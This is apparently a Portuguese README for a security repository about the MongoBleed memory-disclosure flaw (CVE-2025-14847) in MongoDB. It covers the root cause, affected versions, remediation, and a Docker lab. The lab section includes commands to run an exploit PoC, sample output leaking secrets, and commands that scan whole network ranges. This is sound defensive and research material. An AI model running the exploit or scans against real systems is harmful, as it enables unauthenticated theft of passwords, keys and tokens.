
Laboratório de exploração, docker e scanner de código para a vulnerabilidade mongobleed CVE-2025-14847, além de ferramentas de sincronização do Phoenix Security
CVE-2025-14847 | CVSS 8.7 (Alto) | Divulgação de Memória Não Autenticada
📖 Documentação Completa • 🔬 Análise Técnica • ⚡ Comandos Rápidos
MongoBleed é uma vulnerabilidade crítica de divulgação de memória na camada de transporte de rede do MongoDB que permite que atacantes remotos não autenticados exfiltrem memória heap sensível sem qualquer credencial ou interação do usuário.
| Categoria | Descrição |
|---|
| Tipo de Ataque | Divulgação remota de memória não autenticada |
| Causa Raiz | A descompressão Zlib retorna o tamanho do buffer alocado em vez do comprimento real dos dados |
| Dados Expostos | Senhas de banco de dados, chaves de API, tokens de sessão, credenciais AWS, estado interno do servidor |
| Gravidade | CVSS 8.7 (Alto) - Acessível pela rede, sem necessidade de autenticação |
| Exploração | Exploração ativa observada em campo desde 28 de dezembro de 2025 |
| Ramo | Vulnerável | Corrigida | Ação |
|---|---|---|---|
| 8.2.x | 8.2.0 → 8.2.2 | 8.2.3 | Atualize imediatamente |
| 8.0.x | 8.0.0 → 8.0.16 | 8.0.17 | Atualize imediatamente |
| 7.0.x | 7.0.0 → 7.0.27 | 7.0.28 | Atualize imediatamente |
| 6.0.x | 6.0.0 → 6.0.26 | 6.0.27 | Atualize imediatamente |
| 5.0.x | 5.0.0 → 5.0.31 | 5.0.32 | Atualize imediatamente |
| 4.4.x | 4.4.0 → 4.4.29 | 4.4.30 | Atualize imediatamente |
| ≤4.2.x | Todas as versões | Nenhuma | ⚠️ Fim de vida - Migre para versão suportada |
| Aspecto | Detalhes |
|---|---|
| O que é vulnerável | Camada de transporte de rede do MongoDB usando compressão zlib |
| Gravidade | Alto (CVSS 8.7/7.5) |
| Impacto | Divulgação remota e não autenticada de memória heap não inicializada |
| Por que é importante | Fragmentos vazados contêm senhas de banco de dados, chaves secretas AWS e estados internos do servidor |
| Status do exploit | Prova de Conceito (PoC) pública "mongobleed" está validada e circulando |
| O que fazer hoje | Atualize para versões corrigidas imediatamente ou desative a compressão zlib |
A vulnerabilidade existe na camada de transporte de rede do MongoDB (message_compressor_zlib.cpp) onde uma falha crítica na lógica de descompressão zlib permite que atacantes não autenticados vazem memória sensível do servidor.
// VULNERABLE CODE (before fix)
counterHitDecompress(input.length(), output.length());
return {output.length()}; // ❌ Returns ALLOCATED buffer size
// PATCHED CODE (after fix)
counterHitDecompress(input.length(), output.length());
return length; // ✅ Returns ACTUAL decompressed data length
┌─────────────────────────────────────────────────────────────────────────────┐
│ MongoBleed Attack Vector │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ ATTACKER VULNERABLE MongoDB │
│ │ │ │
│ │ 1. Send OP_COMPRESSED message │ │
│ │ uncompressedSize: 8192 (LIE) │ │
│ │ actual data: ~100 bytes │ │
│ │────────────────────────────────────> │
│ │ │ │
│ │ 2. Allocate 8192-byte buffer │
│ │ 3. Decompress ~100 bytes │
│ │ 4. BUG: Return buffer.length() = 8192 │
│ │ 5. BSON parser reads uninitialized memory │
│ │ │ │
│ │ 6. Error response with leaked │ │
│ │ memory as "field names" │ │
│ │<──────────────────────────────────── │
│ │ │ │
│ 🔓 LEAKED DATA: │ │
│ - API keys, passwords, tokens │
│ - MongoDB internal state │
│ - WiredTiger storage configs │
│ - System /proc information │
│ - Client connection data │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
| Data | Evento |
|---|---|
| 15 dez 2025 | Vulnerabilidade identificada; ticket interno SERVER-115508 |
| 19 dez 2025 | Correção lançada, CVE-2025-14847 divulgado |
| 24 dez 2025 | Frota MongoDB Atlas corrigida |
| 26 dez 2025 | PoC pública "mongobleed" lançada |
| 28 dez 2025 | Exploração observada em campo |
🔬 Veja a Análise Técnica → para anatomia detalhada da vulnerabilidade, construção de exploit e métodos de detecção.
mongobleed-exploit-CVE-2025-14847/
├── exploit/ # 🔴 Laboratório de Exploração
│ ├── docker-compose.yml # Instâncias MongoDB vulnerável + corrigida
│ ├── mongobleed.py # PoC de exploit de vazamento de memória
│ ├── init/init-mongo.js # Dados de teste sensíveis
│ ├── test-exploit.sh # Script de teste do laboratório
│ └── README.md # Documentação do laboratório
│
├── scanner/ # 🌐 Scanner de Rede
│ ├── mongobleed_scanner.py # Scanner de vulnerabilidade IP/domínio
│ ├── sample-targets.txt # Arquivo de alvos de exemplo
│ └── README.md # Documentação do scanner
│
├── code-scan/ # 📂 Scanner de Código
│ ├── main.py # Ponto de entrada CLI
│ ├── scanners/ # Scanners Docker, Python, Infra
│ ├── models/ # Modelos de Achado, Vulnerabilidade
│ ├── integrations/ # Upload Phoenix Security
│ └── README.md # Documentação do scanner de código
│
└── original-exploit/ # 📚 Referência da PoC original
cd exploit
# Start lab (vulnerable + patched instances)
docker-compose up -d
sleep 10
# Test vulnerable instance (should leak memory)
python3 mongobleed.py --host localhost --port 27017
# Test patched instance (should NOT leak memory)
python3 mongobleed.py --host localhost --port 27018
# Full lab test
./test-exploit.sh
cd scanner
# Scan single host
python3 mongobleed_scanner.py 192.168.1.100
# Scan network range
python3 mongobleed_scanner.py 192.168.1.0/24
# Scan from file
python3 mongobleed_scanner.py @sample-targets.txt --json --output results.json
cd code-scan
# Scan project for vulnerable MongoDB versions
python3 main.py scan /path/to/project
# Scan and upload to Phoenix
python3 main.py scan /path/to/project --upload-phoenix
# Run tests
python3 main.py test
# === EXPLOIT LAB ===
# Start lab
cd exploit && docker-compose up -d && sleep 10
# Run exploit (vulnerable instance)
python3 exploit/mongobleed.py --host localhost --port 27017
# Run exploit (patched instance - verify no leaks)
python3 exploit/mongobleed.py --host localhost --port 27018
# === NETWORK SCANNER ===
# Scan local lab
python3 scanner/mongobleed_scanner.py localhost:27017 localhost:27018
# Scan network
python3 scanner/mongobleed_scanner.py 192.168.1.0/24 --threads 20
# === CODE SCANNER ===
# Scan current directory
python3 code-scan/main.py scan .
# Scan with JSON output
python3 code-scan/main.py scan /path/to/project --json --output results.json
# Scan and upload to Phoenix
python3 code-scan/main.py scan /path/to/project --upload-phoenix
[*] mongobleed - CVE-2025-14847 MongoDB Memory Leak
[*] Target: localhost:27017
[*] Scanning offsets 20-8192...
[+] offset= 117 len= 39: ssions^\u0001�r��*YDr���
[+] offset=16582 len=1552: MemAvailable: 8554792 kB\nBuffers: ...
[+] offset=18731 len=3908: MONGOBLEED_PRIVATE_KEY_DATA_123...
[!] TARGET IS VULNERABLE TO CVE-2025-14847
[*] Total leaked: 8748 bytes
[*] Unique fragments: 42
[!] Potential secrets detected:
• RSA Private Key
• Lab Secret
[*] Scanning 254 targets with 10 threads...
[1/254] 192.168.1.10:27017 - 8.2.2 [VULNERABLE - CONFIRMED]
[2/254] 192.168.1.11:27017 - 8.2.3 [SAFE]
SUMMARY:
----------------------------------------
Total targets scanned: 254
Reachable hosts: 12
MongoDB instances: 8
VULNERABLE: 3
================================================================================
MONGOBLEED CODE SCANNER REPORT - CVE-2025-14847
================================================================================
🚨 VULNERABLE MONGODB VERSIONS DETECTED
1. [email protected]
File: /project/docker-compose.yml
Type: docker-compose
Reason: Version 8.2.2 is in vulnerable range [8.2.0 - 8.2.2]
✅ Upgrade to: 8.2.3
CVE: CVE-2025-14847
| Prioridade | Ação | Detalhes |
|---|---|---|
| 🔴 1 | Atualizar MongoDB | Atualize para versões corrigidas (8.2.3, 8.0.17, 7.0.28, 6.0.27, 5.0.32, 4.4.30) |
| 🟠 2 | Desativar zlib | mongod --setParameter networkMessageCompressors=snappy,zstd |
| 🟡 3 | Isolamento de rede | Firewall na porta 27017, use VPN/rede privada |
| 🔵 4 | Rotacionar credenciais | Se exposto, rotacione todas as senhas de banco de dados, chaves de API, tokens |
Todos os scanners suportam upload de achados para a plataforma Phoenix Security:
# Create config
python3 code-scan/main.py create-config
cp .phoenix.config.TEMPLATE .phoenix.config
# Edit with your credentials
# [phoenix]
# client_id = your_client_id
# client_secret = your_client_secret
# api_base_url = https://api.securityphoenix.cloud
# Scan and upload
python3 code-scan/main.py scan /path/to/project --upload-phoenix
⚠️ IMPORTANTE: Este kit de ferramentas é fornecido apenas para fins autorizados de teste de segurança e pesquisa.
| Documento | Descrição |
|---|---|
| 📖 DOCUMENTATION.md | Documentação completa do projeto com configuração, uso e remediação |
| 🔬 TECHNICAL_ANALYSIS.md | Anatomia aprofundada da vulnerabilidade, mecanismo de exploração e detecção |
| ⚡ QUICK_COMMANDS.md | Comandos prontos para copiar e colar para todas as ferramentas |
| Ferramenta | Documentação | Descrição |
|---|---|---|
| 🔴 Laboratório de Exploração | exploit/README.md | Laboratório MongoDB vulnerável/corrigido baseado em Docker |
| 🌐 Scanner de Rede | scanner/README.md | Scanner de vulnerabilidade IP/CIDR |
| 📂 Scanner de Código | code-scan/README.md | Scanner de base de código para versões vulneráveis |
Apenas para testes de segurança autorizados. Use com responsabilidade.
Última Atualização: Dezembro de 2025